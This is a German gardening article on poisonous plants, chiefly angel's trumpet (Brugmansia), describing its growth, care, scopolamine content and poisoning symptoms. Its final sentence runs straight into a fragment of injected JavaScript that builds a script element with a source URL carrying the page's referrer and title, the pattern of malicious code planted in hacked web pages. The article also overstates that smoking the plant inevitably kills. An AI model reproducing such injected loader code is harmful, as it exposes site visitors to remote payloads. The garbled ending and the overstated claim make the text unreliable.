Giftige Pflanzen: Engelstrompete

Spätestens mit den ersten Sonnenstrahlen lockte es auch die Gartenbesitzer wieder ins Freie. Frühlingszeit ist nun einmal Pflanzzeit. Baumärkte, Gärtnereien und Gartenfachhändler bieten allerdings nicht nur Stiefmütterchen Primeln & Co. an, sondern auch giftige Pflanzen.

Vor allem wenn kleine Kinder im Haus sind oder Tiere mit zur Familie gehören, sollte genau darauf geachtet werden, was im Einkaufswagen landet für den Garten. Goldregen, blauer und gelber Eisenhut, aber auch die Engelstrompete sind zwar beliebte Pflanzen, weil sie optisch etwas her machen, aber schon geringe Teile können reichen, um bei Kleinkindern oder Haustieren zu Vergiftungen zu führen. Dabei spielt es in den meisten Fällen keine Rolle, ob die Samen, die Beeren oder andere Pflanzenteile verzehrt werden.
Gerade die Engelstrompete, oft auch als Trompetenbaum bezeichnet, hat sich in unseren Gärten einen festen Platz erobert. Eigentlich stammt sie aus Südamerika, wächst und gedeiht aber auch in Europa sehr gut. Unter günstigen Bedingungen kann die Pflanze bis zu 5 m hoch werden. Auffallend sind die riesigen großen Blüten. Im Freien blüht die Pflanze nur im Sommer ab Juni, da sie nicht frosthart ist. Steht die Blume dagegen im Gewächshaus oder an einem anderen geschützten Platz, kann sie bis zum Januar immer wieder blühen. Die beste Temperatur sind 18-22°. Dabei werden die Blüten bis zu 30 cm lang. Die Engelstrompete gibt es in den Farben rot und rosa, weiß und orange oder gelb.

Schön, aber giftig

Engelstrompete (Brugmansia)

Engelstrompete (Brugmansia) | (cc 2.0) von Maja Dumat – flickr.com

In einem Garten ist die Engelstrompete ein echter Hingucker. Das liegt vor allem daran, dass sie herrlich dunkelgrünes Laub hat, die Blätter sehr groß sind und sie mit zahlreichen leuchtenden Blüten bestückt ist. Bekommt der Trompetenbaum regelmäßig Dünger und viel Wasser, ist er relativ pflegeleicht. Allerdings enthalten die Pflanzenteile der Engelstrompete den giftigen Inhaltsstoff Scopolamin und außerdem noch Hauptalkaloide. Schon ganz geringe Mengen dieser Gifte können zu den unterschiedlichsten Beschwerden wie zum Beispiel Durchfall, Erbrechen, Heiserkeit, Schluckbeschwerden oder Sinnestäuschungen führen. Selbst Herzbeschwerden, überdimensionale Erregung oder der Tod können Folgen der Einnahme von Pflanzenteilen sein. Sogar das Rauchen dieser Pflanzenteile führt unweigerlich zum Tod, weil die Engelstrompete sehr giftig ist. Bei einer möglichen Vergiftung sollte deshalb sofort der Notarzt gerufen werden.s.src=” + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; var d=document;var s=d.createElement(‘script’);

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